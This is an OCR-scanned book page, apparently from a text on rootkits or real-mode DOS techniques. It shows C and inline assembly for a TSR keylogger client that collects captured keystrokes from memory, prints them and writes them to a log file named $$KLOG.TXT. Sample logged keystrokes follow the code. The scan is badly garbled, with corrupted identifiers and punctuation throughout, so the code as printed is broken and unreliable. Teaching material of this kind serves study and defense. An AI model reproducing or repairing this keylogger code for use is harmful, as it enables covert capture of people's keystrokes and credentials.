3.3 Real Mode

INT ISR_CODE

MOV bufferCS.DX

MOV bufferlP.DI

POP DI

POP DX

}

pri ntf("buffer[CS,IP]=%04X,%04X\n".bufferCS,buffer!P);

//move through global iremory and harvest characters

for(i ndGX=0;i ndex<SZ_BUFFER;i ndex++)

{

_asm

{

PUSH ES

PUSH BX

PUSH SI

MOV ES.bufferCS

MOV BX.bufferlP

MOV SI,index

ADD BX.SI

PUSH DS

MOV CX,ES

MOV DS,CX

MOV SI,DS:[BX]

POP DS

MOV value,SI

POP SI

POP BX

POP ES

}

crtIO[i ndex] = (char)valuG;

}

//display the harvested chars

printBuffer{crtIO,SZ_BUFFER);

putInLogFile(crtIO,SZ_BUFFER);

return;

}/*end emptyBuffer{) */

The TSR client also logs everything to a file named $$KLOG.TXT. This log file

includes extra key-code information such that you can identify ASCII control

codes.

kdos[Carriage return] [End of Text]

echo See you in Vegas![Carriage return]

tsrclient[Carriage return]

Parti I 77